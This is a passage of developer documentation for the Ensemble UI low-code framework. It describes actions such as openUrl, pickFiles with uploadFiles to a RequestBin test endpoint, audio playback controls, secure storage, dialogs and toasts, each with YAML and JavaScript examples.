uploadFiles: + id: uploader + files: ${cameraWithFaceDetection.files[0]} + uploadApi: fileUploadApi + fieldName: file + onComplete: + showDialog: + body: + Column: + children: + - TextInput: + value: ${cameraWithFaceDetection.files[0]} + - Image: + source: ${cameraWithFaceDetection.files[0].path} +``` + + +To learn more about openCamera functionalities, test it out here in [Ensemble Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/USuOaOZApSgzE2uVrqlv) app. + +--- + +# openPlaidLink + +openPlaidLink action allows users to open external URLs or web links directly from the app, facilitating seamless integration with external content and enhancing the user's browsing experience within the application. + +### Properties + +| Property | Type | Description | +| :---------------- | :------ | :-------------------------- | +| linkToken | string | The Plaid Link Token created from /link/token/create endpoint of Plaid. View Plaid's documation [here](https://plaid.com/docs/api/tokens/#linktokencreate). | +| onSuccess | action | This action is triggered when user successfully complete the Plaid Link flow. | +| onEvent | action | This action is triggered when certain events in the Plaid Link flow have occurred, for example, when the user selected an institution. This enables your application to gain further insight into what is going on as the user goes through the Plaid Link flow. | +| onExit | action | This action is triggered when user exits Plaid Link without successfully linking a financial institution, or when an error occurs during Link initialization. | + +--- + +# openUrl + +openUrl action allows users to open external URLs or web links directly from the app, facilitating seamless integration with external content and enhancing the user's browsing experience within the application. + +### Properties + +| Property | Type | Description | +| :---------------- | :------ | :-------------------------- | +| url | string | The URL to open | +| openInExternalApp | boolean | Open URL in an external app | + +**Example** + +1. This one is simple example related to how one can make use of `openUrl` to open given url inside browser or an external browser app in android or ios. + +```yaml +View: + header: + title: "Action: openUrl" + styles: + scrollableView: true + + body: + Column: + styles: { gap: 16, padding: 24 } + children: + - Form: + styles: { mainAxis: center } + children: + - TextInput: + id: uri + value: "https://ensembleui.com" + - Row: + styles: { gap: 8 } + children: + - Button: + label: Open Url in place + onTap: + openUrl: + url: ${uri.value} +``` + +You can use `openInExternalApp` property, this will open the url in the right app based on the url scheme in native apps. For browser, it doesn't matter + +```yaml +- Button: + label: Open Url in external app + onTap: + openUrl: + url: ${uri.value} + openInExternalApp: true +``` + +2. In this example we will open the default email app depending on the device or OS like on Windows its `Mail`. + +```yaml + - TextInput: + id: email + value: 'mailto: khurram.mahmood@gmail.com' + - Button: + label: Open Url + onTap: + openUrl: + url: ${email.value} +``` + +To learn more about how to use openUrl action, check out the [Ensemble Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/TnoazbWLihcenxD1NBkr) example. + +--- + +# pauseAudio + +The pauseAudio action allows users to pause an already-playing audio file. + +### Properties + +| Property | Type | Description | +| :------- | :----- | :--------------------------------------------------------------------------------------------------------------------- | +| id | string | A unique identity that's required to refer to the already playing audio. Should be same as that of passed in playAudio | + +**Example** + +```yaml +View: + header: + title: Audio Player + styles: + scrollableView: true + + body: + Column: + styles: + gap: 16 + padding: 24 + children: + - Button: + label: Play Audio + onTap: + playAudio: + id: My Audio + source: "https://file-examples.com/storage/fe8119f4e865f33329898be/2017/11/file_example_MP3_700KB.mp3" + volume: 1 # 0 to 1 + balance: 0 # -1 to 1 + position: 2 # in seconds + onComplete: + executeCode: + body: | + console.log("Audio Played"); + + - Button: + label: Play Audio 2 + onTap: + playAudio: + id: My Audio + source: audio.mp3 + volume: 1 # 0 to 1 + balance: 0 # -1 to 1 + position: 2 # in seconds + onComplete: + executeCode: + body: | + console.log("Audio Played"); + + - Button: + label: Pause Audio + onTap: + pauseAudio: + id: My Audio + + - Button: + label: Stop Audio + onTap: + stopAudio: + id: My Audio + + - Button: + label: Resume Audio + onTap: + resumeAudio: + id: My Audio + + - Button: + label: Seek Audio at 4 second + onTap: + seekAudio: + id: My Audio + position: 20 # in seconds +``` + +--- + +# pickFiles + +pickFiles action enables users to select files from their device for further processing or usage within the app, offering a seamless way to choose and work with files, enhancing user interactions and content management capabilities. + +### Properties + +| Property | Type | Description | +| :---------------- | :------ | :--------------------------------------------------------------------------------------------------------------- | +| id | string | Give the picker an ID allows you to bind to its result, which can be access anywhere e.g. ${filePicker.files...} | +| allowMultiple | boolean | Allow users to pick multiple files (default False) | +| allowCompression | boolean | It will allow media to apply the default OS compression (default True) | +| allowedExtensions | array | Allow files with specific extension e.g jpg, png, pdf | + + +### Ensemble File object +The files picked using `pickFiles` or created using camera using `openCamera` all shared the same following object. + + +| Property | Type | Description | +|:---|:---|:---| +| name | string | name of the file, could be null | +| size | integer | size of file in bytes, could be null | +| ext | string | extension of the file, could be null | +| path | string | file path, null on web, available in native mobile app | +| bytes | dynamic | if path is null i.e for web, we'll have bytes of files | + +> [NOTE] +> Path will be null when you are developing in the web studio. You'll have the path in your native mobile build or ensemble preview / go app. + + +**Example** + + + +```yaml +View: + # Optional - style the screen + styles: + scrollableView: true + + # Specify the body of the screen + body: + Column: + styles: { gap: 16, padding: 24 } + children: + - Markdown: + text: | + Use the `uploadFiles` action upload files to specify `uploadApi`. + + Then use the `onComplete` properties to execute other actions when upload is successful. + + - Button: + label: Pick Files + onTap: + pickFiles: + id: picker + + - Button: + label: Upload Picked files + onTap: + executeCode: + body: | + //@code + loading.visible = true; + + onComplete: + uploadFiles: + id: fileUploader + files: ${picker.files} + uploadApi: fileUploadApi + inputs: + url: https://en09cdal5asztm.x.pipedream.net + onComplete: | + //@code + loading.visible = false; + onError: | + //@code + + loading.visible = false; + maxFileSize: 100 + overMaxFileSizeMessage: Please select files less than 100kb + + - Markdown: + text: ${fileUploader.body} + + - Progress: + display: circular + id: loading + visible: false + + - Divider + + - Markdown: + text: | + Chain multiple file actions to pick files and upload them in one go + - Using `pickFiles` to pick file based on platform picker + - Using `uploadFiles` to upload selected files from file picker + + - Button: + label: Pick & Upload + onTap: + pickFiles: + id: filePicker + onComplete: + uploadFiles: + files: ${filePicker.files} + uploadApi: fileUploadApi + inputs: + url: https://en09cdal5asztm.x.pipedream.net + onComplete: | + //@code + ensemble.debug('File uploaded'); + + - Divider: + + - Markdown: + text: | + `pickFiles` also comes with option such as: + + - `allowMultiple` : To allow muliple file selection from gallery picker default (false) + - `allowCompression` : It will allow media to apply the default OS compression (default True) + - `allowedExtensions` : To filter file picking based on extensions like jpg, png, pdf... + + `uploadFiles` also comes with option such as: + + - `files` : Pass the files that needs to upload e.g ${filePicker.files} + + - `fieldName` : Field name that your server is expecting. (default files). + + - `maxFileSize`: File size that is allowed in kb (default 100 mb), If multiple is allow then sum of all files + - `overMaxFileSizeMessage`: Error message to show when selected files size is above maxFileSize. + + - Row: + styles: { mainAxis: spaceBetween, crossAxis: center } + children: + - Button: + label: Multiple Images + onTap: + pickFiles: + id: images + allowMultiple: true + allowCompression: false + allowedExtensions: + - jpg + - png + + - Text: + text: ${images.files.length} + - Button: + label: Upload Multiple images + onTap: + uploadFiles: + id: imageUploader + uploadApi: fileUploadApi + files: ${images.files} + fieldName: files + inputs: + url: https://en09cdal5asztm.x.pipedream.net + maxFileSize: 100 # in kb + overMaxFileSizeMessage: Please select files less than 100kb + + - Markdown: + text: ${imageUploader.body} + - Divider + + - Markdown: + text: | + ### Background file upload + - Pick and Upload files in background. + - In unmetered connection (wifi/lan) + - Also show notification + - *Not supported on web / studio. + + - Button: + label: Background upload + onTap: + pickFiles: + id: bgFilePicker + onComplete: + uploadFiles: + uploadApi: fileUploadApi + files: ${bgFilePicker.files} + inputs: + url: https://en09cdal5asztm.x.pipedream.net + id: bgUploader + options: + backgroundTask: true + showNotification: true + networkType: unmetered + + - Divider: + + - Markdown: + text: | + _Side Note: If you are using default uploadURL it's using RequestBin_ + + _RequestBin has maxFileSize of __100 kb__ above it will fail._ + + _You can see you API request [here](https://requestbin.com/r/en09cdal5asztm/2Lzx3lZ071EFF9dFKZCXJTnkJHS)_ + + - Divider: + +API: + fileUploadApi: + inputs: + - url + uri: ${url} + method: POST +``` + + + +complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/mvFbwP5K5yvAqTlncTga?propertyPanelEnabled=true&instantPreviewDisabled=false&editorV2Enabled=true) including uploadFiles example. + +--- + +# playAudio + +The playAudio action allows users to play a given audio file from a URL or asset. It requires a unique ID passed to it so that the audio can be referenced. + +### Properties + +| Property | Type | Description | +| :-------- | :----- | :------------------------------------------------------- | +| id | string | A unique identity that's required to refer to the given audio in the future | +| source | string | The source of the audio file. Can be a file name located in assets or can also be a url | +| volume | double | The volume at which audio to play. It should be between `0` and `1` with `0` being no volume and `1` being maximum volume. The default value is `1` | +| balance | double | The balance between both the left and right speakers for stereo audio. It should be between `-1` and `1` with `-1` being completely left speaker and `1` being completely right speaker. The default value is `0` | +| position | integer | The time stamp from which to play audio from. It should be in seconds. The default value is `0` | + +**Example** + +```yaml +View: + header: + title: Audio Player + styles: + scrollableView: true + + body: + Column: + styles: + gap: 16 + padding: 24 + children: + - Button: + label: Play Audio + onTap: + playAudio: + id: My Audio + source: "https://file-examples.com/storage/fe8119f4e865f33329898be/2017/11/file_example_MP3_700KB.mp3" + volume: 1 # 0 to 1 + balance: 0 # -1 to 1 + position: 2 # in seconds + onComplete: + executeCode: + body: | + console.log("Audio Played"); + + - Button: + label: Play Audio 2 + onTap: + playAudio: + id: My Audio + source: audio.mp3 + volume: 1 # 0 to 1 + balance: 0 # -1 to 1 + position: 2 # in seconds + onComplete: + executeCode: + body: | + console.log("Audio Played"); + + - Button: + label: Pause Audio + onTap: + pauseAudio: + id: My Audio + + - Button: + label: Stop Audio + onTap: + stopAudio: + id: My Audio + + - Button: + label: Resume Audio + onTap: + resumeAudio: + id: My Audio + + - Button: + label: Seek Audio at 4 second + onTap: + seekAudio: + id: My Audio + position: 20 # in seconds +``` + +**Related Actions: [pause-audio](pause-audio.md) [stop-audio](stop-audio.md) [resume-audio](resume-audio.md) [seek-audio](seek-audio.md)** + +--- + +# Pull To Refresh + +Pull to Refresh is a common interaction pattern in mobile app development, allowing users to refresh the content of a view by pulling it down. In Ensemble, you can implement Pull to Refresh using the `onPullToRefresh` event and update the content dynamically. Let's break down the example: + +```yaml + Column: + styles: + scrollable: true + padding: 20 20 200 + gap: 8 + onPullToRefresh: |- + generateRandomNumber(); + item-template: + data: ${ensemble.storage.RandomNumbers} + name: number + template: + Text: + text: ${number} + styles: + backgroundColor: cyan + textAlign: center +Global: |- + //@code + ensemble.storage.RandomNumbers = [8, 3, 5]; + + function generateRandomNumber() { + //..... + } +``` + +onPullToRefresh Event: +`onPullToRefresh`: |- + generateRandomNumber();: +Specifies the callback function (`generateRandomNumber`) to be executed when the user pulls to refresh. This ensures that new random numbers are generated and the list is updated when the user performs a pull-to-refresh gesture. + +Item Template: +`data`: ${ensemble.storage.RandomNumbers}: +Binds the list of random numbers (stored in ensemble.storage.RandomNumbers) to the item template. This data will be used to populate the list. +`name: number`: Sets a reference name for each item in the list. +`text: ${number}`: Binds each Text widget to a specific number in the list, ensuring that the correct data is displayed for each item. + +Global Section (Initialization): +`ensemble.storage.RandomNumbers = [8, 3, 5];`: +Initializes the RandomNumbers array with some initial values. +`generateRandomNumber` function: +Generates new random numbers when called. This function is triggered on pull-to-refresh. + +--- + +# rateApp + +The "Rate Us" functionality is available only for iOS devices when the app is in production. + +```yaml +View: + header: + title: 'Action: RateApp' + + body: + Column: + styles: + padding: 24 + gap: 8 + children: + - Text: + text: Works only for iOS when app is in production (will not work for Ensemble Go while on TestFlight) + - Button: + label: Rate Us + onTap: + rateApp: +``` +The rateApp action is triggered when the "Rate Us" button is tapped. It is to handle the logic for prompting users to rate the app. + +--- + +# requestNotificationAccess + +requestNotificationAccess action prompts users to grant permission for the app to send notifications to their device, enabling personalized alerts and updates, enhancing user engagement, and ensuring timely delivery of relevant information within the application. + +### Properties + +| Property | Type | Description | +|:-------------| :----- | :--------------------------------------------------------------- | +| onAuthorized | action | Execute an Action when notification permission has been granted | +| onDenied | action | Execute an Action when notification permission has been rejected | + +**Example** + +The first important thing to consider while implementing notifications is to make sure that its authorized by user itself. Thus first step is to ensure complete access to ensemble. let us see how it works + + + +```yaml +View: + header: + title: "Action: showNotification" + + # Specify the body of the screen + body: + Column: + styles: + padding: 24 + gap: 8 + children: + - Text: + text: Hi there! + - Button: + label: Checkout Ensemble Kitchen Sink + onTap: + requestNotificationAccess: + onAuthorized: + showNotification: + title: A Notification + body: As you can see me working here +``` + + + +When user clicks on button browser pop-up asks for permission and as you allow it notification can be seen at bottom-right corner of screen. You can refer complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/NiF1zG2VKspdlxNM2F1n?propertyPanelEnabled=true&instantPreviewDisabled=false&editorV2Enabled=true). + +**Output** + +![Alt text](public/images/actions/image-.png) + +![Alt text](public/images/actions/image--2.png) + +--- + +# resumeAudio + +The resumeAudio action allows users to resume a previously paused audio + +### Properties + +| Property | Type | Description | +| :------- | :----- | :----------------------------------------------------------------------------------------------------------------------------- | +| id | string | A unique identity that's required to refer to the audio that was paused in past. Should be same as that of passed in playAudio | + +**Example** + +```yaml +View: + header: + title: Audio Player + styles: + scrollableView: true + + body: + Column: + styles: + gap: 16 + padding: 24 + children: + - Button: + label: Play Audio + onTap: + playAudio: + id: My Audio + source: "https://file-examples.com/storage/fe8119f4e865f33329898be/2017/11/file_example_MP3_700KB.mp3" + volume: 1 # 0 to 1 + balance: 0 # -1 to 1 + position: 2 # in seconds + onComplete: + executeCode: + body: | + console.log("Audio Played"); + + - Button: + label: Play Audio 2 + onTap: + playAudio: + id: My Audio + source: audio.mp3 + volume: 1 # 0 to 1 + balance: 0 # -1 to 1 + position: 2 # in seconds + onComplete: + executeCode: + body: | + console.log("Audio Played"); + + - Button: + label: Pause Audio + onTap: + pauseAudio: + id: My Audio + + - Button: + label: Stop Audio + onTap: + stopAudio: + id: My Audio + + - Button: + label: Resume Audio + onTap: + resumeAudio: + id: My Audio + + - Button: + label: Seek Audio at 4 second + onTap: + seekAudio: + id: My Audio + position: 20 # in seconds +``` + +--- + +# saveFile + +The `saveFile` action saves media files (e.g., images) to the default media storage and documents to the default documents directory on Android and IOS. On the web, it downloads the file to the browser's default download folder. + +### Properties + +| Property | Type | Description | +| :-------- | :----- | :-------------------------------------------- | +| source | string | The source URL of the file | +| blobData | string | Blob data of the file in base64 string | +| type | string | Type of the file which are `image` or `document`. If type is `document` then the action will consider the source or blobData to be of document file and will save the file in the default device document folder | +| onComplete | action | Action to be executed on successful file saving on mobile device and successful downloading on web | +| onError | action | Action to be executed on error saving file | + +**Example** + +#### 1. For `blobData` input: #### + In case the type is image, action will save image in default Pictures path of device, in case of web, it will download the file +```yaml +Button: + onTap: + saveFile: + fileName: 'Test.png' + type: image + blobData: # blob string for image +``` + + In case the type is document, action will save document in default Documents path of device, in case of web, it will download the file +```yaml +In case the type is document, it'll be saved in Documents +Button: + onTap: + saveFile: + fileName: 'Test.pdf' + type: document # pdf, docx, txt + blobData: # blob string for document + onComplete: + showToast: + message: File saved successfuly + onError: + showToast: + message: File saving failed +``` +#### 2. For `source` input: #### +```yaml +Button: + onTap: + saveFile: + fileName: 'Test.pdf' + type: document # pdf, docx, txt + source: https://pdfobject.com/pdf/sample.pdf # source-url for document + onComplete: + showToast: + message: File saved successfuly + onError: + showToast: + message: File saving failed +``` +You can try complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/9rgeMobpDsSosMoL2Hxv) + +--- + +# seekAudio + +The seekAudio action allows users to pause a already-playing audio file + +### Properties + +| Property | Type | Description | +| :------- | :------ | :--------------------------------------------------------------------------------------------------------------------- | +| id | string | A unique identity that's required to refer to the already playing audio. Should be same as that of passed in playAudio | +| position | integer | The time stamp at which to skip the audio to. It should be in seconds. The default value is `0` | + +**Example** + +```yaml +View: + header: + title: Audio Player + styles: + scrollableView: true + + body: + Column: + styles: + gap: 16 + padding: 24 + children: + - Button: + label: Play Audio + onTap: + playAudio: + id: My Audio + source: "https://file-examples.com/storage/fe8119f4e865f33329898be/2017/11/file_example_MP3_700KB.mp3" + volume: 1 # 0 to 1 + balance: 0 # -1 to 1 + position: 2 # in seconds + onComplete: + executeCode: + body: | + console.log("Audio Played"); + + - Button: + label: Play Audio 2 + onTap: + playAudio: + id: My Audio + source: audio.mp3 + volume: 1 # 0 to 1 + balance: 0 # -1 to 1 + position: 2 # in seconds + onComplete: + executeCode: + body: | + console.log("Audio Played"); + + - Button: + label: Pause Audio + onTap: + pauseAudio: + id: My Audio + + - Button: + label: Stop Audio + onTap: + stopAudio: + id: My Audio + + - Button: + label: Resume Audio + onTap: + resumeAudio: + id: My Audio + + - Button: + label: Seek Audio at 4 second + onTap: + seekAudio: + id: My Audio + position: 20 # in seconds +``` + +--- + +# getSecureStorage + +The `getSecureStorage` action retrieves previously stored encrypted data from the device's secure storage, decrypting it for use within your application while maintaining security of sensitive information. + +## Properties + +| Property | Type | Description | +| :--------- | :----- | :--------------------------------------------------------------------------------------------------------- | +| key | string | The key to retrieve the value from | +| onComplete | action | Execute an Action when the data has been successfully retrieved. The value is available under 'event.data' | +| onError | action | Execute an Action when an error occurs. The error reason is available under 'event.error' | + +## Example + +```yaml +Button: + label: Retrieve Secure Data + onTap: + getSecureStorage: + key: userToken + onComplete: + executeCode: + body: | + //@code + console.log("Retrieved token: " + event.data); + // Use the token for an API call + apiHeaders.value = { "Authorization": "Bearer " + event.data }; + onError: + showToast: + message: ${event.error} + options: + type: error +``` + +## JavaScript Usage + +When used in JavaScript, this action returns the value directly, making it useful in code blocks: + +```javascript +// Retrieve a stored value directly +const userToken = ensemble.getSecureStorage("userToken"); +console.log("Token: " + userToken); + +// Use the retrieved value in an API call +ensemble.invokeAPI({ + name: "fetchUserData", + inputs: {}, + headers: { + Authorization: "Bearer " + ensemble.getSecureStorage("userToken"), + }, +}); +``` + +## Notes + +- This action requires an encryption key to be set in your secrets configuration. +- The retrieved data is automatically decrypted and converted back to its original data type (string, number, boolean, or object). +- If no data exists for the given key, `null` will be returned. +- Data stored using [setSecureStorage](#setsecurestorage) can be retrieved with this action. +- The value is available in the `onComplete` action under `event.data` when used in YAML. +- When used in JavaScript, the value is returned directly from the function call. + +--- + +# setSecureStorage + +The `setSecureStorage` action securely stores sensitive information in an encrypted format on the device, ensuring that sensitive data like tokens, user credentials, or personal information remains protected from unauthorized access. + +## Properties + +| Property | Type | Description | +| :--------- | :----- | :---------------------------------------------------------------------------------------- | +| key | string | The key to store the value under | +| value | any | The value to store securely. Can be a string, number, boolean, or complex object | +| onComplete | action | Execute an Action when the data has been successfully stored | +| onError | action | Execute an Action when an error occurs. The error reason is available under 'event.error' | + +## Example + +```yaml +Button: + label: Save Secure Data + onTap: + setSecureStorage: + key: userToken + value: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwiaWF0IjoxNTE2MjM5MDIyfQ + onComplete: + showToast: + message: Token stored securely + options: + type: success + onError: + showToast: + message: ${event.error} + options: + type: error +``` + +## JavaScript Usage + +You can also use this action in JavaScript: + +```javascript +// Store a simple string value +ensemble.setSecureStorage({ + key: "userToken", + value: "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9", +}); + +// Store a complex object +ensemble.setSecureStorage({ + key: "userProfile", + value: { + id: 123, + name: "John Doe", + isActive: true, + permissions: ["read", "write"], + }, +}); +``` + +## Notes + +- This action requires an encryption key to be set in your secrets configuration. +- The value can be any type of data - strings, numbers, booleans, or complex objects. +- All data is encrypted before storage using AES encryption. +- To retrieve the value later, use the [getSecureStorage](#getsecurestorage) action. +- To remove the value, use the [clearSecureStorage](#clearsecurestorage) action. + +--- + +# clearSecureStorage + +The `clearSecureStorage` action removes previously stored encrypted data from the device's secure storage, allowing you to clean up sensitive information when it's no longer needed, enhancing security by minimizing data exposure. + +## Properties + +| Property | Type | Description | +| :--------- | :----- | :---------------------------------------------------------------------------------------- | +| key | string | The key to remove from secure storage | +| onComplete | action | Execute an Action when the data has been successfully removed | +| onError | action | Execute an Action when an error occurs. The error reason is available under 'event.error' | + +## Example + +```yaml +Button: + label: Clear Secure Data + onTap: + clearSecureStorage: + key: userToken + onComplete: + showToast: + message: Secure data removed successfully + options: + type: success + onError: + showToast: + message: ${event.error} + options: + type: error +``` + +## JavaScript Usage + +You can also use this action in JavaScript: + +```javascript +// Clear a stored secure value +ensemble.clearSecureStorage("userToken"); + +// With error handling +try { + ensemble.clearSecureStorage("userToken"); + console.log("Token removed successfully"); +} catch (error) { + console.error("Failed to clear token: " + error); +} +``` + +## Notes + +- This action requires an encryption key to be set in your secrets configuration. +- This action completely removes the specified key and its associated value from secure storage. +- If the key doesn't exist, the action completes successfully without any error. +- Use this action for cleanup when sensitive data is no longer needed (e.g., after logout). +- For security best practices, always clear sensitive data when it's no longer required. +- This action works with data stored using [setSecureStorage](#setsecurestorage). + +--- + +# Share + +Using the native sharing capabilities of the device to provide users with the ability to share text and files. + +### Properties + +| Property | Type | Description | +| :--------- | :----- | :----------------------------------------------------------------------------------------- | +| title | string | Optional title (e.g. email's title) | +| text | string | Text and/or URL to share | +| files | string | Binded files from sources like camera or picker. e.g ${filePicker.files}, ${camerId.files} | + +**Example** + +The share action is triggered when the "Open Share Sheet" button is tapped. It typically opens the native share sheet on the device, allowing users to share content. In this case, it shares a title ("EnsembleUI") and a URL ("https://ensembleui.com/"). + +```yaml + - Button: + label: Open Share Sheet + onTap: + share: + title: EnsembleUI + text: https://ensembleui.com/ + - Text: + text: Works only on Native iOS and Android +``` +**Share Sheet Screenshot** +
+ Output Screenshot +

Clicking the "Open Share Sheet" will open share sheet to share the provided text and title

+
+ +Here's the example of how you can share files using `share` action +```yaml +- Button: + label: Share Files + onTap: + pickFiles: + id: filePicker + source: files + onComplete: + share: + files: ${filePicker.files} + text: I selected this file +``` + +complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/Dnv8CceAHCHlEpS61DEE) + +--- + +# showBottomModal + +The `showBottomModal` action enables the display of content on a modal that slides from the bottom of the device, providing a user experience similar to iOS Sheets. + +```yaml + - Button: + label: Show Modal Using Code + onTap: + showBottomModal: + widget: + ActionsSheet: + inputs: + action1: Action 1 + action2: Action 2 + styles: + backgroundColor: white + barrierColor: 0x22000000 + options: + enableDrag: true + enableDragHandler: true +``` + +The `showBottomModal` action is configured to call an `ActionsSheet` widget with two inputs: `action1` and `action2`. These inputs are then utilized within the `ActionsSheet` widget to customize its content. + +## Properties + +| Property | Type | Description | +|:--------------|:----------|:-------------| +| widget | [Widget](/pages/widgets/.md) | Constructs the UI of the bottom modal using widgets. | +| styles | [Styles](#styles) | Applies styles to customize the appearance of the modal. | +| options | [Options](#options) | Offers customization options for the modal behavior. | +| onDismiss | Action | Execute predefined functions or custom code on modal dismiss. | + +## Styles + +| Property | Type | Description | +|:--------------|:----------|:-------------| +| backgroundColor | string | Set the background color of the modal. | +| barrierColor | string | Sets the color of the barrier behind the modal. | + +## Options + +| Property | Type | Description | +|:--------------|:----------|:-------------| +| enableDrag | boolean | Enable the user to drag the modal up and down. | +| enableDragHandler | boolean | Determines whether the drag handler is displayed. | + +--- + +# showDialog + +showDialog action triggers the display of a modal dialog box within the app, presenting users with important information, notifications, or customizable content while pausing the main app flow, ensuring clear and focused communication with users. + +### Properties + +| Property | Type | Description | +| :-------------- | :------ | :----------------------------------------------------------------------------------------------------- | +| widget | widget | Return an inline widget or specify a custom widget's name to use in the dialog. | +| options | object | [see properties](#propertiesoptions) | +| dismissible | boolean | This property denotes whether the dialog can be dismissed by tapping outside of it. Default is `true`. | +| onDialogDismiss | action | Execute an Action when the dialog is dismissed. | + +#### properties.options + +| Property | Type | Description | +| :--------------- | :------ | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | +| minWidth | integer | | +| maxWidth | integer | | +| minHeight | integer | | +| horizontalOffset | number | Offset the dialog's position horizontally, with -1.0 for the screen's left and 1.0 for the screen's right. (default is 0 for centering horizontally) minimum `-1.0` and maximum `1.0` | +| verticalOffset | number | Offset the dialog's position vertically, with -1.0 for the screen's top and 1.0 for the screen's bottom. (default is 0 for centering vertically) minimum `-1.0` and maximum `1.0` | +| style | string | Render the dialog with a default style. You can also specify 'none' and control your own styles in your widget. `default` `none` | + +**Example** + +Here we are gonna see how we can + + + +```yaml +View: + header: + title: Dialog + onLoad: + showDialog: + widget: MyStartingDialog + + body: + Column: + styles: { margin: 10, gap: 5 } + children: + # use inline widget + - Text: + text: Your dialog can also be an inline widget + - Button: + label: Show Dialog + onTap: + showDialog: + widget: + Text: + text: This dialog declares the widget inline and uses the default style. + + - Spacer: + styles: + size: 20 + + # use custom styling + - Text: + text: You can customize the dialog style + - Button: + label: Show Custom Dialog + onTap: + showDialog: + widget: MyCustomDialog + options: + # no default style - zero margin/padding, no background color + style: none + # move it up half way between the top and the center of the screen + verticalOffset: -0.5 + +# Custom Widget +MyStartingDialog: + body: + Column: + styles: + gap: 10 + children: + - Text: + text: Welcome to Ensemble + styles: + fontSize: 16 + fontWeight: bold + - Text: + text: This dialog pops up when the user first visits the page. + - Button: + label: Close dialog + onTap: closeAllDialogs + +MyCustomDialog: + body: + Column: + styles: + gap: 10 + backgroundColor: 0xffD7BFA8 + borderRadius: 10 + margin: 20 + padding: 20 + children: + - Text: + text: |- + This dialog set its own margin/padding and background color. + + It also offset the dialog position vertically. +``` + +Try complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/HRIajN2i8bDDVTL32j8m?propertyPanelEnabled=true&instantPreviewDisabled=false&editorV2Enabled=true) + + +**Example with inputs** + +We can also make use of inputs property for `showDialog` action to pass any input parameters to be used with dialog. Lets look at the previous example but this time with some input values. + +```yaml +View: + header: + title: Dialog + onLoad: + showDialog: + widget: MyStartingDialog + body: + Column: + styles: { margin: 10, gap: 5 } + children: + - Text: + text: You can customize the dialog style and provide inputs as well + - Button: + label: Show Custom Dialog + onTap: + showDialog: + widget: + MyCustomDialog: + inputs: + name: Peter + options: + # no default style - zero margin/padding, no background color + style: none + # move it up half way between the top and the center of the screen + verticalOffset: -0.5 + + onDialogDismiss: | + //@code + console.log("dialog dismissed"); + +MyCustomDialog: + inputs: + - name + body: + Column: + styles: + gap: 10 + backgroundColor: 0xffD7BFA8 + borderRadius: 10 + margin: 20 + padding: 20 + children: + - Text: + text: |- + Hi ${name} + This dialog set its own margin/padding and background color. + + It also offset the dialog position vertically. +``` + +**Explanation** + +- In the code for showDialog we are passing an input `name` with value `Peter` which can be seen clearly in the output. + +**Example with Controlled dismissible property** + +We can use `dismissble` property to control whether the dialog can be dismissble while tapping outside of it or not. If `dismissble` is `false`, dialog will not dismiss on tapping outside of it and vice verca. Default `dismissble`state of dialog is true. If you don't specify the property then the dialog will be dismissble. + +```yaml +View: + header: + title: Dialog + body: + Column: + styles: + padding: 24 + gap: 16 + children: + - Button: + label: Show undismissible dialog + onTap: + showDialog: + dismissible: false + body: + Text: + text: This is undismissible dialog + - Button: + label: Show Undismissble dialog (Custom dismiss implementation ) + onTap: + showDialog: + dismissible: false + body: + Column: + children: + - Text: + text: This is undismissible dialog + - Button: + label: Dismiss + onTap: + dismissDialog: +``` + +--- + +# showNotification + +showNotification action triggers the display of local notifications within the app, notifying users of important events or information even when the app is in the background or closed, enhancing user engagement and ensuring timely communication with users. + +### Properties + +| Property | Type | Description | +| :------- | :----- | :-------------------- | +| title | string | Title of notification | +| body | string | Body of notification | + +**Example** + +You can refer [here](#requestnotificationaccess) for example related to notification. Can also refer complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/zbIn4f6tD3yQkC1MJRj1?propertyPanelEnabled=true&instantPreviewDisabled=false&editorV2Enabled=true). + +--- + +# showToast + +The ShowToast enables the display of informative toast messages, providing temporary and non-intrusive notifications or alerts within your application for important updates or messages. + +[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/LBertkIs2inDfUn87NrI) + +## Properties + +| Property | Type | Description | +| :-------- | :----- | :----------------------------- | +| showToast | object | Showing a toast message | +| options | object | Select a built-in toast style. | +| styles | object | Toast's styles | + +### showToast + +| Property | Type | Description | +| :------- | :----- | :----------------------------------------------------------------------------------------------------- | +| message | string | The toast message. Either this message or a widget must be provided. | +| widget | object | The custom widget to show as the Toast's body. Either this widget or a toast message must be provided. | +| options | object | Select a built-in toast style. | +| styles | object | Toast's styles | + +### options + +| Property | Type | Description | +| :---------- | :------ | :------------------------------------------------------------------------------------------------------------------------ | +| type | string | Select a built-in toast style. One of the following - 'success', 'error', 'warning', 'info' | +| dismissible | boolean | Whether to show a dismiss button (default is True) | +| alignment | string | Toast's position. Can be one of: `top`, `topLeft`, `topRight`, `center`, `centerLeft`, `centerRight`, `bottom`, `bottomLeft`, `bottomRight` | +| duration | integer | The number of seconds before the toast is dismissed. Minimum value is 1. | + +### styles + +| Property | Type | Description | +| :-------------- | :--------------- | :--------------------------------------------------------------------------------------------------------------------------------------------------- | +| backgroundColor | | Toast's background color starting with '0xFF' for full opacity e.g 0xFFCCCCCC | +| shadowColor | string or number | Box shadow color starting with '0xFF' for full opacity. | +| shadowRadius | integer | Toast's shadow radius. Minimum value is 0. | +| shadowOffset | array | Toast's shadow offset. | +| borderRadius | | Toast's border radius. | +| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g stretch horizontally for parent of type Row) | +| size | integer | Specifies the width (progress bar) or the diameter (circular progress indicator) | +| thickness | integer | Specifies the thickness of the indicator (for progress bar this is the height) | +| color | | Progress indicator color. | + +--- + +# startTimer + +Use the `onTimer` action to start a timer. Then use the `onTimer` and/or `onTimerComplete` properties to execute other actions once the timer finishes. + +### Properties + +| Property | 